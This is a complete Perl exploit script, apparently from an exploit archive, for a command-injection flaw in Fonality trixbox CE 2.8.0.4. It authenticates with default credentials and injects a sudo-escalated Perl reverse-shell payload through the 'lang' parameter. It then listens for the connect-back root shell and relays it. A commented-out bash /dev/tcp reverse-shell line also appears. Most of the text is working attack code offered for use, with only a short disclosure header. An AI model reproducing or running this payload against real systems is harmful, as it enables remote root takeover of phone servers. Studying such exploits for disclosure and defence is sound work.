Fonality Trixbox CE 2.8.0.4 Command Execution

`#!/usr/bin/perl  
#  
# Title: Fonality trixbox CE remote root exploit  
# Author: Simo Ben youssef  
# Contact: Simo_at_Morxploit_com  
# Discovered & Coded: 2 June 2014  
# Published: 17 October 2014  
# MorXploit Research  
# http://www.MorXploit.com  
# Software: trixbox CE  
# Version: trixbox-2.8.0.4.iso  
# Vendor url: http://www.fonality.com/  
# Download: http://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/  
# Vulnerable file: maint/modules/home/index.php  
#  
# Description:  
# maint/modules/home/index.php suffers from a command execution vulnerability, allowing an authenticated user to inject commands as the  
# asterisk user which then can be leverged to root privilege through sudo.  
#  
# from /etc/sudoers:  
## asterisk ALL = NOPASSWD: /bin/bash  
#   
# Vulnerable code:   
# Line 68: $tbLang = $_GET['lang'];  
# Line 339: shell_exec $phpOutput = shell_exec('php -q libs/status.php ' . $tbLang);   
#  
# Note:  
# We did a full audit of Fonality trixbox CE 2.8.0.4 and we found several similar vulnerabilities (File disclosure, command/code execution etc).  
# We didn't think it was necessary to cover all the findings since support for the CE edition has been discontinued  
# but anyone who thinks about installing this should think twice.  
#  
# Download:  
# http://www.morxploit.com/morxploits/morxtrix.pl  
#  
# Demo:  
# perl trixbox.pl http://10.0.0.16 10.0.0.2 1111  
#  
# ===================================================  
# --- Fonality trixbox remote root exploit  
# --- By: Simo Ben youssef <simo_at_morxploit_com>  
# --- MorXploit Research www.MorXploit.com  
# ===================================================  
# [*] MorXploiting http://10.0.0.16/maint/modules/home/index.php  
# [+] Sent payload! Waiting for connect back root shell ...  
# [+] Et voila you are in!  
#  
# Linux trixbox1.localdomain 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:39:04 EST 2010 i686 i686 i386 GNU/Linux  
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
#  
# Requires LWP::UserAgent  
# apt-get install libwww-perl  
# yum install libwww-perl  
# perl -MCPAN -e 'install Bundle::LWP'  
# For SSL support:  
# apt-get install liblwp-protocol-https-perl  
# yum install perl-Crypt-SSLeay  
#  
# Author disclaimer:  
# The information contained in this entire document is for educational, demonstration and testing purposes only.  
# Author cannot be held responsible for any malicious use or damage. Use at your own risk.  
  
use LWP::UserAgent;  
use MIME::Base64;  
use IO::Socket;  
use strict;  
  
sub banner {  
system(($^O eq 'MSWin32') ? 'cls' : 'clear');  
print "===================================================\n";  
print "--- Fonality trixbox CE remote root exploit\n";  
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";  
print "--- MorXploit Research www.MorXploit.com\n";  
print "===================================================\n";  
}  
  
if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) {  
banner();  
print "perl $0 <target> <connectbackIP> <connectbackport>\n";  
print "perl $0 http://10.0.0.16 10.0.0.2 31337\n";  
exit;  
}  
  
my $host = $ARGV[0];  
my $vuln = "maint/modules/home/index.php";  
my $cbhost = $ARGV[1];  
my $cbport = $ARGV[2];  
my $defuser = "maint"; # Default maint user  
my $defpass = "password"; # Default maint pass  
my $string = "$defuser:$defpass";  
my $encoded = encode_base64($string);  
$| = 1;  
$SIG{CHLD} = 'IGNORE';  
  
my $l_sock = IO::Socket::INET->new(  
Proto => "tcp",  
LocalPort => "$cbport",  
Listen => 1,  
LocalAddr => "0.0.0.0",  
Reuse => 1,  
) or die "[-] Could not listen on $cbport: $!\n";  
  
sub randomagent {  
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',  
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',  
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',  
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',  
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',  
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'  
);  
my $random = $array[rand @array];  
return($random);  
}  
my $useragent = randomagent();  
  
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });  
$ua->timeout(10);  
$ua->agent($useragent);  
my $status = $ua->get("$host/$vuln", Authorization => "Basic $encoded");  
unless ($status->is_success) {  
banner();  
print "[-] Error: " . $status->status_line . "\n";  
exit;  
}  
  
banner();  
print "[*] MorXploiting $host/$vuln\n";  
  
#my $payload = "sudo /bin/bash -i >%26 /dev/tcp/$cbhost/$cbport 0>%261"; # Bash connect back  
my $payload = "sudo /bin/bash -c \"perl -e '\\\$p=fork;exit,if(\\\$p); use Socket; use FileHandle; my \\\$system = \\\"/bin/sh\\\"; my \\\$host = \\\"$cbhost\\\"; my \\\$port = \\\"$cbport\\\";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\\\"tcp\\\")); connect(SOCKET, sockaddr_in(\\\$port, inet_aton(\\\$host))); SOCKET->autoflush(); open(STDIN, \\\">%26SOCKET\\\"); open(STDOUT,\\\">%26SOCKET\\\"); open(STDERR,\\\">%26SOCKET\\\"); print \\\"[%2b] Et voila you are in!\\\\n\\\\n\\\"; system(\\\"uname -a;id\\\"); system(\\\$system);'\"";  
my $exploit = $ua->get("$host/$vuln?lang=;$payload", Authorization => "Basic $encoded");  
print "[+] Sent payload! Waiting for connect back root shell ...\n";  
  
my $a_sock = $l_sock->accept();  
$l_sock->shutdown(SHUT_RDWR);  
copy_data_bidi($a_sock);  
  
sub copy_data_bidi {  
my ($socket) = @_;  
my $child_pid = fork();  
if (! $child_pid) {  
close(STDIN);  
copy_data_mono($socket, *STDOUT);  
$socket->shutdown(SHUT_RD);  
exit();  
} else {  
close(STDOUT);  
copy_data_mono(*STDIN, $socket);  
$socket->shutdown(SHUT_WR);  
kill("TERM", $child_pid);  
}  
}  
sub copy_data_mono {  
my ($src, $dst) = @_;  
my $buf;  
while (my $read_len = sysread($src, $buf, 4096)) {  
my $write_len = $read_len;  
while ($write_len) {  
my $written_len = syswrite($dst, $buf);  
return unless $written_len;  
$write_len -= $written_len;  
}  
}  
}  
`